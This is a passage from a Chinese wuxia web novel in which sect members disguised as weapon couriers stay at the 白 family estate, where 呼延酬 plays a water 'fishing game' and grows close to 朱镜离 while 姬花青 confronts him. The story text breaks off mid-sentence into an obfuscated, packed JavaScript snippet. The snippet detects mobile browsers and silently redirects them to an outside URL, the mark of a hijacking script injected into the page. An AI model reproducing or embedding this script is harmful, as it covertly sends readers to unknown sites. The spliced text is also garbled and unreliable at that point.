实际上,这已经不是覃七霄第一次这么做,他过去有好几次悄悄跟着出任务的教众离教,然后回去被他爹打个半死。但这似乎并不能消磨他对离教“冒险”的热情,直到有一次他不告而别,连纸条之类的东西都没有留,他娘急得撅了过去,教里的简神医施针才将他娘救醒,那次以后,他才消停了下来,不敢再造次。 可这一回,听说姬花青等人要去的地方是水南,他坐不住了,他还从来没去过水南,从来没去过临蓟。 “左使哥哥,右使姐姐,花道长,你们就让我跟你们一起去吧!我绝不给你们添乱,我还会帮你们杀敌!我已经不是小孩子了!” 可他的的确确是个小孩子,做着孩子气的事,说着孩子气的话。 花道人道:“谢了祖宗,你保住自己的小命就是对我们最大的帮助了。”否则我们回去怎么跟你爹娘交待,他想。 覃七霄听花道人这么说,知道这回自己是得逞了,忍不住咧开嘴大叫道:“出发,出发!” 花道人想,覃七霄这小鬼跟过来也好,他悄悄看了姬花青和呼延酬一眼,否则整天面对这两张臭脸,有覃七霄活跃气氛就好多了。 玄同教众人又是走陆路,又是赶水路,终于也踏上了水南的土地。 ------------------------------ 随着精心的描画,镜中的容颜逐渐鲜妍起来,看着镜子中的那张芙蓉秀脸,少女脸上绽出一个微笑。 “镜离,镜离!” 正对镜梳妆的朱镜离将眉笔往案上一搁,朝窗外道:“什么事?” 窗外的数名女子嬉笑道:“前面来人了!”“是从水西来的。”“镜离,一起去看看!” 朱镜离看回镜子,重新拿起眉笔,道:“又是送兵器来的吧?没意思,不去。” 窗外廊上的女子相互看了一眼,道:“不去算了。”嬉笑声又渐渐远去了。朱镜离叹了口气,转头望向窗外摇曳的紫薇花枝。 95. 雁磐(四) 呼延酬一行人来到白府,白氏家主白晋盛情接待了他们。一群女眷叽叽喳喳地挤在屏风后面,她们以团扇覆面,又是含羞又是好奇地看着这些家主的客人。 花道人站在大厅中央,对坐在主位上的白晋拱手,道:“少堡主因身体抱恙,不能亲来,但少堡主十分重视贵府的单子,于是托他的一位表亲以及在下替他将这批兵器送至临蓟。”花道人身后,扮作铸造古堡少堡主表亲的呼延酬对白晋拱手行礼,在呼延酬身后,则是扮作副手的姬花青和覃七霄,后两者亦对白晋行礼。覃七霄年纪虽小,在这种场合对主人行礼却也像模像样。 白晋整个人软塌塌地陷在放了好几层靠垫的椅子里,对玄同教诸人道:“欢迎,诸位远道而来,就在白府歇息几日,白某定当好好款待诸位贵客。” 此前花道人伴随铸造古堡少堡主来临蓟送过几次货,所以白晋认得花道人,知道花道人是少堡主的好友,于是对呼延酬、姬花青的身份没有任何怀疑。 姬花青听白晋自己说出要留玄同教一行人在白府小住,先是一喜,心道目前为止一切进行得倒也顺利。 呼延酬道:“那么就请白先生先着人清点一下货物,然后……” 白晋一摆手,道:“不急,先不急。” 呼延酬一愣,道:“可……” 白晋道:“我们白家是铸造古堡是多年来的老主顾了,我信得过老朋友,货物就先放进库房里,不去管它。我想先和这位呼延公子来几场游戏,好好娱乐一番。” 在说出这句话之前,白晋都表现得像个正常人,而说出这句话之后,花道人先前多次描述的白氏家主不务正业的形象便显出了端倪。 呼延酬还想说什么,花道人却对白晋道:“那我们恭敬不如从命。白先生,请先容我们公子去换衣裳。” 在呼延酬些许错愕的表情中,白晋兴奋地从椅子上站起身,一边舒展身躯一边道:“快去,快去!我也该去更衣了。” ------------------------------ 白府安置玄同教众人的房间内,姬花青双手抱在胸前看着窗外,而花道人和覃七霄则待在屋内桌边。 花道人双腿岔开大大咧咧坐在桌边椅上,一只手手肘放在桌面。覃七霄则跪在椅子上,两手扒着椅背。 覃七霄道:“我们不是来完成任务的吗,怎么还要陪白氏家主做游戏?你这算不算把呼延大哥卖了啊?” 花道人道:“我们要待在白府,就得把主人哄高兴了。”他压低了声音,道:“白晋喜怒无常,经常因为一点小事就大发脾气,而他发起脾气来不分场合,也不管眼前站着的是什么人,只管当时发泄爽了,根本不计后果。所以为了之后的任务,我们最好不要违逆他。” 覃七霄道:“那你以前来白府的时候,他有要求过和你们玩游戏吗?” 花道人道:“每次来必玩。” 覃七霄道:“怎么之前没听你说?” 花道人道:“我来的路上都在想那个藏身在白氏却在我们水西兴风作浪的人是谁,就把这事给忘了。” 覃七霄道:“为什么那个家主只点了呼延大哥跟他玩游戏?” 花道人道:“我们跟那姓白的说呼延兄弟是少堡主的表亲,而以往每次都是少堡主跟他玩的,所以他大概默认了呼延兄弟也会这个游戏吧。” 覃七霄啊了一声,道:“这是什么逻辑?话说回来少堡主会玩这个游戏?他玩得怎么样?” 花道人道:“实话说,挺擅长。”他叹了口气,“要做生意,有时候还得多才多艺,真不容易。” 覃七霄道:“说了这么多,我都忘问了,那究竟是个什么游戏?” 花道人的表情突然变得有些奇异,他望着屋顶道:“似乎跟某种古老聚落习俗的遗留有关。” 覃七霄又啊了一声,他有些听不懂花道人在说什么了。过了一会,他道:“……那呼延大哥能搞定吗?” 姬花青背对花道人和覃七霄看着窗外,道:“不管使用什么手段和方法,只要能完成任务就好。” 正在这时,忽然有脚步声在屋外响起,花道人和覃七霄先后往房门口的方向看去,然而他们只看了一眼,便都爆发出一阵大笑。 接着就是呼延酬恼怒的声音:“不许笑!” 姬花青听声音知道是呼延酬回来了,而方才他则是被白氏的人拉去换玩游戏时穿的衣服,姬花青不知道玩什么游戏还需要换衣服,她虽没来得及回头,但听花道人和覃七霄的反应,想来应该是这套衣服穿在身上十分滑稽。 她和呼延酬虽然关系恶劣,但后者好歹是为了教中事务才做出这种牺牲。姬花青闭上眼,一边转过身一边道:“你们别笑了,呼延大哥也很辛苦……噗噗!哈哈!” 花道人和覃七霄见了姬花青的反应,先是愣了一下,随后更加大声地笑起来。 呼延酬头发散开,从两鬓各垂下一大把。他身上的……与其说是衣服,不如说是几块布料,不仅胸腹大敞,腰间围着的也是类似草裙的东西,另外他的脸上还用各色涂料画了几道。总之,野性十足。 其实对姬花青来说,呼延酬这身衣服虽然夸张,脸也涂得花里胡哨,但都在可接受范围内,问题就出在发型上。 不得不说,发型这个东西,有时候确实是专门的发型需要专门的人才能驾驭得住。呼延酬那张脸,没得说,尽管姬花青对他这个人颇有意见,却也不得不承认那张融合了俊朗线条与异域风情的脸确实能骗到不少小姑娘。 可是这个发型哟……或许在别人头上合适,或许吧……但出现在呼延酬头上,却散发出一种近乎诡异的滑稽。 姬花青调动了极大的意志力将脸上的表情绷住,她一边向门口走去一边道:“既然衣服已经换好,就走吧,别让白家主等我们太久。” 呼延酬表情冷峻地跟姬花青走出房门,花道人和覃七霄对视一眼,用手掩住嘴,也跟了上去。 白晋进行游戏的地方是一处方形水池,这池子又被纵横两条过道贯穿,被划分成了四个更小的方形,形成一个“田”字。但即使是被划分成更小的区块,每个小水池的长宽也少说有三丈。 听说家主要和水西来的客人玩游戏,水池四周围了一大圈人。白府中,不仅有白家的人,白氏的幕僚以及幕僚的家眷也都居住在白府,看热闹的除这些人外,还有白府的下人。一时间,各色衣衫人影错综闪现,水池边闹闹哄哄,人声交杂。 姬花青、花道人以及覃七霄站在看热闹的人群中,而在对面的人群中,朱镜离也来到了这里。 她本来是不想来的,但平日里跟她要好的女眷在前面大厅屏风后看见呼延酬一行人,便噔噔噔跑回朱镜离居住的院落,在廊下对朱镜离道:“镜离,这次来的人中,有一个长得可帅了。” 朱镜离道:“我说啦,那个少堡主虽然长得可以,但不是我喜欢的类型。” 女伴道:“不,不是那个少堡主,是新面孔,看他的模样,倒像是北地那边的人呢。” 朱镜离正拿篦子篦着头发的手一顿,看向门口的方向。 游戏开始了。 游戏规则其实很好理解,四个方形水池中,每个水池中央有一块浮木,围绕这块浮木周围则漂浮着十数块小的浮木,小浮木上放着石板,石板上垫了薄薄一层软垫。而参与游戏的人要做的则是在中央那块浮木上竖起一个圆环,人踩在圆环上,在保持平衡的同时将手中的瓷碗准确无误地扔到周围那些小浮木上的软垫上,但因为软垫较薄,且软垫下面就是石板,所以扔碗的力道一定要拿捏得很好。 姬花青知道这池子为什么那么大了,小浮木离中央那块站人的大浮木很有一段距离,不把池子挖大点怎么上难度。 可假使池子没这么大,姬花青也觉得这“游戏”纯属折磨人,习武之人平衡能力虽然较一般人优秀,但浮木本就摇摇晃晃,还要踩在上面竖起的圆环上,这都不能简单地说成是难上加难,除了从小专门训练的杂技艺人,她很难想象有谁第一次上去就能屹立不倒。光待在这圆环上不掉下来就已经很难了,更别说还要将手中的十几个碗扔到四面八方的软垫上,还不能将碗摔碎。 之前在来的路上,花道人就向姬花青等人普及了与这游戏相关的一些历史渊源,原来这一活动是从很久很久以前的白氏先祖那流传下来的,那时有一位白氏的祖先,靠着一手优秀的捕鱼技术解决了整个部落的饱腹问题,要不是这个人,可能现在白氏根本就不会存在,族人为了纪念此人,便发明了这一游戏,久而久之便演变成了现在这个样子。 总之,姬花青能理解为什么呼延酬打扮得像是个远古时代的人了,但她还有疑问,于是问花道人道:“可除了都是在水上,这个活动看上去跟捕鱼一点关系都没有啊。” 花道人道:“或许扔碗就是在模仿用石头打鱼?而站在晃来晃去的浮木和圆环上则是在模拟惊涛骇浪?” 而现下,呼延酬站在其中一个小水池的浮木上,白晋则站在另一个小水池的浮木上。白晋与呼延酬的打扮如出一辙,只是那样少的几块布挂在身上,呼延酬是露出他健美的胴体,而对白晋来说,暴露的则是他肚腹上的肥肉。 然而在游戏开始之前,姬花青没想到居然可以这么搞笑。 呼延酬少年天才,他如今已经十八岁,在武功上更是已有很高的造诣。但这一活动显然跟参与者的武功高低不能说没什么关联,简直就是毫无干系。 只见呼延酬要在浮木上的铁环保持平衡就已经很费力了,那十几个碗更是在他手中一个也没抛出去。而另一片水池中,白晋已抛出去了好几个碗,除了一个瓷碗没能扔中落入了水中,其他几个碗都稳稳当当落在软垫上。 呼延酬性子里有不服输的一面,从他在岑氏受训时就是如此,他总是不甘于人后。白氏的这一活动在他看来虽然荒唐,但一旦参与就绝不轻易认输,可他又确实从来没接触过这类东西,所以在铁环上拼命保持平衡的样子很是滑稽。呼延酬余光瞥见白晋已扔出去了好几个碗,暗自着急,在好不容易站稳后尝试着扔出一个碗,然而随着他将碗扔出去的动作,平衡被破坏,呼延酬的腰凹出一个十分奇怪的动作才重新站稳,而那碗也差点没扔到软垫上。所幸呼延酬武功底子在那,扔暗器的准头还是有的,尽管在如此艰难的情形下,那碗也还是落在了软垫边缘,这样的话,也算是成功扔准一个碗了。 但呼延酬的动作确实还是太……奇特,周围围观的人发出一阵又一阵笑声。 按情理来说,姬花青、花道人和覃七霄是呼延酬这边的自己人,本不该笑,但他们虽然已经很用力地在忍耐,却还是没能憋住,十分缺德地笑了。 呼延酬凌厉的眼风朝玄同教众人所在的位置扫过去,覃七霄立马收了笑容,姬花青和花道人稍微低了头看着地下,嘴角却仍压不下去微微弯着。 而在人群另一头,朱镜离在捂嘴嬉笑的女子中,也忍不住笑出了声。 朱镜离是个不怎么笑的女子,然而刚来到水池边上看到那样一身打扮的呼延酬时,她就没忍住笑了,这之后呼延酬更是让她继续发出了发自内心的笑。 但隔着哄笑的人群,朱镜离看到了呼延酬那张英俊坚毅的脸,看到了他不服输的、带有一些孩子气的倔强表情,笑容在朱镜离脸上悄然发生着变化。 从被滑稽事物逗出的笑变成了认真欣赏的笑。 在呼延酬扔出第五个碗后,朱镜离转身离开,帔帛和裙裾随着她的动作甩出一个美丽的弧度,她将人群抛在背后,脸上仍挂着笑容。 另一边,白晋手中已经只剩最后一个碗,他看了一眼呼延酬那边的情形,脸上笑了笑,接着转头瞄准最后一个软垫,手上运劲,众人只一眨眼,那碗便倒扣着稳稳当当落在了软垫上。 眼看家主大功告成,白氏这边的人爆发出一阵欢呼,白晋从铁环上跃至池边,看向呼延酬笑道:“老弟,你输啦。” 姬花青和花道人也没觉得呼延酬一定要赢,相反,这两个人觉得呼延酬输给白晋还要好些,不让白晋在自己的下属面前丢脸,白晋高兴了,之后他们要在白府做什么也更加方便。 但呼延酬却似乎并没有想就此结束一切,他额头上渗出汗珠,看着接下来准备扔碗上去的浮木软垫,在铁环上摇摇晃晃道:“白先生果然厉害,但这是在下第一次玩这种游戏,没白先生那样熟练,仍需适应一段时间。”他既没有说“甘拜下风”、“自愧不如”之类的词,也没有承认白晋赢了,且话里话外的意思仿佛是,自己因为是初次接触这一活动,所以自然比不过已经熟练掌握技巧的白晋。而他虽然扔得慢,但先前已经扔出的五个碗,尽管歪歪斜斜,都处在软垫边缘,却也都没有掉入池中。呼延酬继续道:“就请白先生稍等,看在下将剩下的碗全部扔中,如何?” 先前白晋手中的碗有一个是没扔中的,呼延酬这么说,是要跟白晋较上了。 白晋闻言,笑了一声,道:“好,老弟,就欣赏你这种精神。那我就在这等你扔完。”在他设想中,是自己一将碗扔完,呼延酬就该认输了,没想到这小子还挺倔。 呼延酬脚下尽力保持平衡,同时上半身摆出扔暗器的姿势,正要将碗扔出时,忽听旁边人群一阵骚动。 呼延酬往旁边看去,只见一名少女正向方池这边走来。 本来这没什么好稀奇的,白府里的年轻女子不少,呼延酬来到水池边时就看到不少。然而眼下款款走来的这名少女光亮丰泽的黑发从两鬓披下,她的脸上也涂了彩色数痕,她身上的衣物布料极少,看上去跟呼延酬白晋所穿的正是同一类型的衣物,只不过跟男子袒露胸膛的款式不同的是,女子的款式是将胸部遮住,露出平坦的腹部。她白皙纤细的手臂上戴着金色的臂环,手腕上缠着手链,光裸的脚踝上则戴着脚环。 呼延酬愣住,手上的动作也停止了,维持着先前的姿势。 白晋道:“镜离?你怎么来了?” 换上另一身打扮的朱镜离来到白晋面前,对后者施施然行了一礼,道:“白叔叔,镜离久不玩渔戏,今日见白叔叔和远道而来的宾客以渔戏相娱,镜离也想试试。” 姬花青听那名叫“镜离”的女子称这游戏为“渔戏”,心想这游戏果然跟捕鱼有关。 白晋听了,笑道:“好啊。”他看向呼延酬,又看着四周的人,道:“那么就让镜离侄女与呼延兄弟继续比试!呼延兄弟,意下如何?” 呼延酬道:“听由白先生安排。” 朱镜离伸出纤足,莲步轻移,足尖一点便飘然而至另一方形池中央的浮木上,她一只脚在浮木上轻轻一踩,上面的铁环便竖立起来,随后她轻轻巧巧跃起,单脚踩在竖起的铁环上,稳稳当当地站在水池中央。整个过程流畅而从容,且与白晋相比,更兼具雅致优美。 姬花青就说这个发型换个人来兴许就能驾驭得住,呼延酬和白晋梳这样的发型奇奇怪怪,而这位姑娘将头发这样散开,就毫无违和的地方。并且这身打扮穿在这姑娘身上那股野性的美,倒让姬花青想起《九歌》中的山鬼,她忽然联想到衡泽聊氏手下的秘密组织也叫九歌,而九歌中的东君已在自己眼前,不知那一位山鬼又是个怎样的角色。 朱镜离甫一站上铁环就白臂轻摇,先后抛出三个瓷碗,瓷碗皆稳稳落在软垫中央,而她单脚站在不断晃动的浮木铁环上,不仅不显丝毫局促,反而让人看到了朱镜离把握力道与平衡的精湛技巧,呼延酬在上面晃晃悠悠是滑稽,然而朱镜离却赋予了这个动作以美感。 朱镜离这边,三个碗已然脱手,而呼延酬那头,第六个碗仍迟迟没能扔出,他似乎依然在艰难地寻找角度。 众人都以为朱镜离会将手头上的碗继续扔出,白氏那边的人已经等着朱镜离战胜呼延酬,不想她却突然对呼延酬道:“公子,你像我一样,单脚站,然后将 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呼延酬初步掌握了这渔戏的技巧,之后的扔碗速度便比之前快得多,但他到底没有朱镜离熟练。很快,朱镜离手中的碗就只剩两个了,而呼延酬手中还有五个碗。 就在围观众人都以为这场比试已经毫无悬念时,呼延酬下一个动作却让所有人都轻呼出了声。 只见他两手挥出,将最后的五个瓷碗一次性全部抛了出去,而让在场所有人都更加吃惊的是,五只碗都分别落在了五张软垫上,并且每一个碗都完好无损。 呼延酬的天才、学新东西极快的优点在这一刻又显露了出来,而他的这一优点,一直以来都让姬花青嫉羡不已。 不仅白晋和朱镜离目瞪口呆,就连姬花青、花道人、覃七霄也都惊掉了下巴。 朱镜离很快从惊讶中回过神来,她看着呼延酬,笑着道:“公子,你赢了,恭喜。” 呼延酬从水池跃出,朱镜离也不再继续扔碗,亦跃上池边,呼延酬对朱镜离拱手道:“全仰赖姑娘耐心教导,呼延酬在此谢过姑娘。” 朱镜离看着呼延酬,突然上前一步,凑到呼延酬面前道:“一次将几只碗尽数扔出,我可不会。”呼延酬看着朱镜离突然凑近的脸,一时间也有些怔愣。 朱镜离对呼延酬甜甜一笑,转身往后院去了。 而在围观的人群之中,白晋的独子白氏少爷亲眼见到这一幕,脸上露出不豫神色。 这之后玄同教一行人在白府暂住,他们没有忘记身上的任务,他们表面上作为白氏的客人居住在白府的一处院落中,有时与白氏的人洽谈下一批武器的单子,私底下却暗中调查那隐在白府却试图挑起玄同教与聊卫两家矛盾的人。 白府中人员很杂,这个人可能是白氏的人,也可能是白氏那些幕僚家族的人,甚至可能只是个不起眼的下人。 在这期间,有些事却悄悄地发生了。 那是一个安静的下午。这样的午后,人通常会变得慵懒,白府四下里也寂寂无声。姬花青一边在心里梳理着这些天玄同教其他人送来的情报,将可疑的人一一排序,一边走过白府的一处廊院。 这廊院平时鲜有人至,可姬花青却听见了一阵兵刃相接的声音。 姬花青抬头向院子中央望去,映入眼帘的景象却让她呆立在原地。 只见呼延酬正和一女子切磋武功,那女子手中握的兵刃并不是常见的刀、枪、剑之类,而是一把两头有刃的双头匕首。呼延酬的长枪不断攻向那女子,那女子却只是封挡,并不拆解呼延酬的来招继而寻找机会反攻。 那女子不是那日教呼延酬渔戏技巧的朱镜离又是谁? 朱镜离身法飘摇不定,优美柔媚到了极处,如九天仙女一般,而呼延酬却站在地面,几乎没怎么移动,但无论朱镜离如何上下飘飞,呼延酬的长枪似乎都总能将她刺中。 两人脸上的神情都极是认真,而在这认真之中,却又似乎流动着丝丝若有似无的情意。 一次又一次,呼延酬都拆破了朱镜离的封挡,而每当这个时候,他的长枪枪尖都恰到好处地停在离朱镜离身体数寸的地方,随即便将长枪收回。这之后,便又是新一轮的切磋,仍旧是呼延酬进攻,朱镜离封挡闪避,她似乎就是专门让呼延酬帮忙练习自己躲闪敌招的能力的。 姬花青远远地看着二人,花木枝叶的影子投射在她的脸上。姬花青心想,好啊,以前你每次跟我切磋武功都着急结束,现在跟这朱氏的女子切磋却如同感受不到时间流逝一般。 姬花青已经数不清光自己来到这廊院起,他们已经切磋了多少轮,这二人似乎都对眼下做的事乐此不疲。而隔着扶疏花木,呼延酬和朱镜离也都并未发现站在一旁看了良久的姬花青。直到姬花青猛然回过神来,意识到自己似乎在这里站了太久,她最后看了一眼呼延酬和朱镜离所在的方向,转身离去。而另一头,呼延酬和朱镜离仍旧沉浸在他们自己的世界中。 又是一日,姬花青循着之前调查得到的线索来到白府中一处不知是什么地方的所在,她正一边四下里张望,一边往前走着,忽听见一旁屋内传出一道女声:“你来啦。” 这女声一出,姬花青与其说是被吓了一跳,倒不如说是浑身一软。 方才这“你来啦”三个字,虽然简短,却既包含了少女的娇嗔又有着女人的贤惠妩媚,饶是姬花青是个女子,也不由得感到一颗心就像要化了一般,激得她背上麻麻起了一层粟栗。 姬花青略一沉吟,并未回答,而是敛声悄然转至房屋另一侧。 接着屋内便响起一阵脚步声,朱镜离过来将门打开,看到门外空无一人,她含笑的脸略微现出失望的神色,随后轻叹一口气,轻轻将门阖上。 在朱镜离看来,是自己太想呼延酬,以至于将屋外的风声误以为是他来了。 回到房内后,她柔柔念道:“山之高,月出小,月之小,何皎皎。”念毕,她又叹了口气。这声叹息幽幽的,那样缠绵婉转,似包含了无数少女心事。 朱镜离不知道的是,她所念的这些尽皆被屋外的姬花青听了去,姬花青心想,是不是进展得有些太快了?难道在这短短的一段时间里,朱镜离对呼延酬就已经到了“一日不见我心悄悄”的地步? 呼延酬呢?他对他和朱镜离之间的关系又是怎样的态度? 姬花青仰头,望向一碧如洗的蓝天。 在白府的这段时间看似平静,暗地里,玄同教诸人却都忙于各自手头的任务,只有覃七霄是真的清闲。 呼延酬、姬花青、花道人并不给他分配什么任务,当覃七霄主动提出要帮忙时,花道人对他道:“小鬼头,你不给我们帮倒忙就万事大吉了,自己找个地方玩去吧。” 覃七霄虽然对花道人看不起自己感到不满,但他也知道这些大人在做的事十分重大,所以并没有贸然行动,也害怕自己将什么地方搞砸了。 于是他开始专心品尝起白府主人家送来的各色吃食。 品鉴了几天,覃七霄对其中一种牛轧糖格外情有独钟,他将自己和花道人屋里的牛轧糖吃完后仍觉意犹未尽,正想着去哪里能吃到更多时,突然灵光乍现:白氏给每间客房送去的点心都是一样的,姬花青和呼延酬房间里应该也有牛轧糖。 于是他先来到姬花青房中,姬花青此时恰好不在,覃七霄看向房间中央的圆桌,果见桌上的盘中摆着牛轧糖,看样子基本没动过。覃七霄三两下扫荡完后,又来到呼延酬房间,呼延酬也不在房里。这回他轻车熟路了,径直来到房屋正中的圆桌前,左右手分别从盘中拿了一块牛轧糖,刚咬了一口,就听见房门口传来动静。 覃七霄跟教里这些哥哥姐姐很熟,后者对覃七霄这些小孩子也都很宠,所以覃七霄没觉得被发现有什么,尽管如此,听见声响,他还是下意识地躲在了一旁的柜子后面。 呼延酬走进房中,他来到桌前正要拿过杯子倒水时,余光却突然瞥见门口有什么东西一闪。 呼延酬转头看去,只见姬花青站在门口,似笑非笑地看着他。 96. 雁磐(五) 呼延酬看着姬花青,道:“你有什么事么?” 姬花青道:“我可以进来吗?” 呼延酬道:“请便。” 姬花青甫一进屋,便将门关上了。 覃七霄一惊,等等等等这是要干什么? 他待在这还合适么??? 覃七霄想逃,但门已经被姬花青关死了。 覃七霄在心里告诉自己要冷静,也许之后并不会发生自己想的那种事,这两个人平时在教里看上去并没有什么交集,怎么可能?对!怎么可能呢? 姬花青来到屋里,依旧似笑非笑地看着呼延酬。 呼延酬道:“你有什么话就说,别用那样的表情对着我。”他别过脸,“很恶心。” 姬花青缓缓道:“酬哥,我只是来提醒你一句,我们是来盗书信的,不是来偷心的。” 当姬花青刚说出“酬哥”两个字时,呼延酬就眼皮一跳,他大踏步朝姬花青走去,而姬花青则一直直视着呼延酬,脸随着呼延酬的位置移动而转动,直到呼延酬走到姬花青面前,居高临下地看着她,姬花青也丝毫不避,仰头看着呼延酬的眼睛将剩下的话说完。 姬花青从没叫过呼延酬“酬哥”,这是呼延酬来到白府认识朱镜离后,朱镜离对他的称呼。 他和朱镜离的事除了他们二人外应该谁也不知道才对,姬花青又如何听去了? 至于姬花青所说的“盗书信”一事,则是经过了一段时间的调查,玄同教基本已锁定了目标,现在他们要做的,便是潜入那人的住处搜寻他与水西那边假扮玄同教徒之人的信件,只要找到了书信,就能把人最终确定下来,接着便是展开下一步的行动。 呼延酬看着姬花青,一语不发。躲在柜子后面的覃七霄很想将头探出来看看现在是个什么情况,但他不敢,以那两个人的敏锐程度,他怕自己一探头就会被发现,而尽管覃七霄看不到二人,他也能从此刻的沉默中猜想出呼延酬的表情一定很可怕。 不过姬花青所说的“偷心”什么的,又是什么意思? 姬花青无视呼延酬看向自己的表情,接着道:“如果你接近她是为了达成我们的目的,那再好不过,但我还要再提醒你,你要做的是向她探出我们需要的情报,不是让她知道我们的情报。” 呼延酬终于开口,只听他道:“我要做什么不需要你来教。” 姬花青嘴角一勾道:“不需要我教,但可以让别人来教,比如教你怎么扔碗?” 呼延酬额角青筋暴起,道:“姬花青!” 姬花青立即道:“呼延酬!”她顿了顿,“有何指教?” 呼延酬沉声道:“你不要太过分!” 姬花青道:“我过分?到底是谁过分?别忘了我们到这是来干什么的,别忘了那位镜离小姐的身份,麻烦收收你那情不自禁的心,否则其他人都会被你害死的!” 覃七霄愣在柜子后面,他手上还拿着糖块,嘴角还有糖渣,但已经连咀嚼都忘记了。 他一开始觉得自己只是进哥哥姐姐的房间吃糖,也不怕被发现,然而现在这个情况,这个气氛,虽然跟他一开始想的不同,但都一样要命——要是这时被呼延酬和姬花青发现,覃七霄都怀疑自己是不是会被灭口。 覃七霄躲在柜子后面瑟瑟发抖,他不知道呼延酬和姬花青是怎么吵起来的,也不知道他们在吵什么,他明明只是来吃个点心而已,为什么要让他无意间遇上这一幕?现在覃七霄心里只想着一件事,就是怎么在不被呼延酬和姬花青发现的情况下从这出去。 姬花青显然并不想在这里多待,她要传达给呼延酬的意思全部传达完后,转身将门打开离去。 姬花青走后,覃七霄觉得自己的呼吸要顺畅一些了,但呼延酬没有走,因为这里是呼延酬自己的房间!真是要了老命了! 覃七霄在心里默默祈祷呼延酬在今天晚上睡觉前至少出一次房间,否则自己可能要在这柜子后面待一宿了。 ------------------------------ 又过了数日,玄同教众人手头上的事有了进展,姬花青遂和呼延酬商讨接下来的行动。 二人没有在白府里谈论,而是在临蓟城一处桥头柳树下选了个位置。 呼延酬一只手把在柳树枝干上,道:“白濛?” 姬花青道:“不错,是叫这个名。他就是我们要找的人。” 呼延酬道:“他做这些事白晋知道么?” 姬花青背手看着波光粼粼的江面,道:“白晋应当是不知情的。白氏虽然是资历相当老的水南武林世家,但不被他们盟主看重,如今水南李氏重用的是重云门和琥沙派,不过据我所知,白晋还乐得这样,他并不在乎白氏被挤出水南武林核心圈子,只希望盟主要他做的事少一件是一件。” 呼延酬道:“那这个白濛又是怎么回事?他是白家的人吧?” 姬花青道:“是白氏的旁支子弟,跟白晋不一样,他有个人追求和抱负。他早就对白氏的现状感到不满,但身为旁支又很难左右家族决策,于是他主动联系了李氏,希望能为他们的盟主、为水南武林贡献自己的一份力量。而挑起我教与聊卫两家的矛盾,就是经李氏同意后,他替他们盟主做的第一件事。” 呼延酬不屑地笑了一声:“他这样做,李氏给他许诺什么作为奖赏呢?白氏家主的位置?” 姬花青道:“不重要了,在得到奖赏前,他会先失去自己的命。”她略微皱眉,“他的第一步便已走错,他招惹错了人,他千不该、万不该把主意打到我教头上。” 从知道他们的目标具体是谁开始,姬花青就听出呼延酬说话语气中有一股隐约的雀跃,这对呼延酬来说实在是太少见了,而在呼延酬面对姬花青时更是如此。 大约是因为知道在背后策划这些的人不是他的朱姑娘所以松了口气吧,姬花青这样想着,她看向江面,微微出神。 呼延酬道:“还有别的事要说吗?” 姬花青转身面向呼延酬,道:“眼下大约就这些,之后我们会和花道长商量一下具体如何行动。” 呼延酬道:“我知道了,你回去吧。” 姬花青有些疑惑,道:“我就不能在这里待一会透透气吗?”她侧头,“仲邑江诶,我还是第一次站在这种大江边上。”姬花青的眼里映出宽阔的江面,道:“真美啊。” 呼延酬没有搭她的茬。 就在姬花青感受着迎面吹来的江风时,一道女声传来:“酬哥……咦,这位是?” 姬花青转过头来,见到眼前的女子后,她知道为什么呼延酬催她走了。 原来是与人有约啊。 朱镜离看着站在一起的呼延酬和姬花青,脸上现出疑惑的神情。 姬花青认识朱镜离,但朱镜离不知道姬花青是谁,渔戏那日,玄同教众人站在人群之中,朱镜离未曾留意到他们,而这之后在白府,朱镜离与姬花青也并未有过交集。 还未等姬花青自我介绍,呼延酬就对朱镜离道:“这是我的副手。” 虽然先前呼延酬不想让姬花青留在这里,但既然她已经知道自己和朱镜离的事,呼延酬也不藏着掖着,再加之他本身亦是个直来直去的人,便坦然地让姬花青看到他和朱镜离二人会面了。 朱镜离道:“副手?” 呼延酬道:“就是平日帮我打打下手。”他说完,又补充道:“仅此而已。” 姬花青听呼延酬这么跟朱镜离说,笑吟吟道:“呼延大哥,你好讨厌,你这样说好伤人。”她捋着自己的头发,“我们之间,又岂是用三两句话就能解释的清的?你为什么这么急于在朱姑娘面前撇清我二人之间的关系?” 呼延酬看向姬花青,一脸“你突然犯什么病”的表情。 朱镜离刚来时,远远地就注意到了呼延酬旁边的少女。 呼延酬身量很高,姬花青本就不算高,站在呼延酬旁边更是被衬得十分娇小。而当朱镜离在远处看见姬花青将头仰起跟呼延酬说话的一幕时,心情突然就变得有些复杂。 随着年龄的增长,姬花青似乎越来越不爱梳发髻,而是将发髻拆散,让一头长发散下。她也不佩戴发饰,只在发尾以发带束住,而她穿着的衣物也都以暗色为主。 姬花青从气质到穿着打扮的风格都跟朱镜离和她身边的那群女伴截然不同,她脸上不施任何胭脂水粉,但姬花青却并不男子气,她的脸秀气清丽,说话声音也细细柔柔,然而她就是跟朱镜离经常见到的女子不一样。 朱镜离想,水西的女子是不是都像姬花青这般? 但先开始二人面对面的一幕,以及姬花青方才说的话都让朱镜离感到些许在意。 呼延酬的声音传来:“我跟她之间就是很简单的关系,别听她说得好像多复杂似的。” 他是在向自己解释吗?朱镜离想。 但“简单的关系”又是怎样的关系?这个“简单”其实很难界定,从某种角度来说,单纯的夫妻之实也可以叫做简单的关系。但不论简单还是复杂,呼延酬都亲口承认了他和姬花青有关系。 朱镜离心里突然一阵没来由的烦躁。 姬花青没有就呼延酬的这句话说什么,而是径直来到朱镜离面前,对后者道:“朱姑娘,呼延大哥之前和你在一起时都说了些什么?” 朱镜离看看姬花青,又看看呼延酬,道:“我们……”之后便没再说下去。 她一直以为她和呼延酬的事只有二人自己知道,怎么也没想到今日来和呼延酬会面,一旁竟会有别的人在。朱镜离感到有些害臊,所以面对姬花青的问题,竟一时说不出话来。 姬花青道:“每个人做每一件事都有自己的目的,朱姑娘,这位呼延大哥接近你,说不定是有他的目的哦。” 朱镜离听姬花青这么说,道:“不!我……我相信他,他不会骗我的!” 姬花青叹了口气,道:“傻姑娘,如此轻信男人的话,真是没救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665766|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 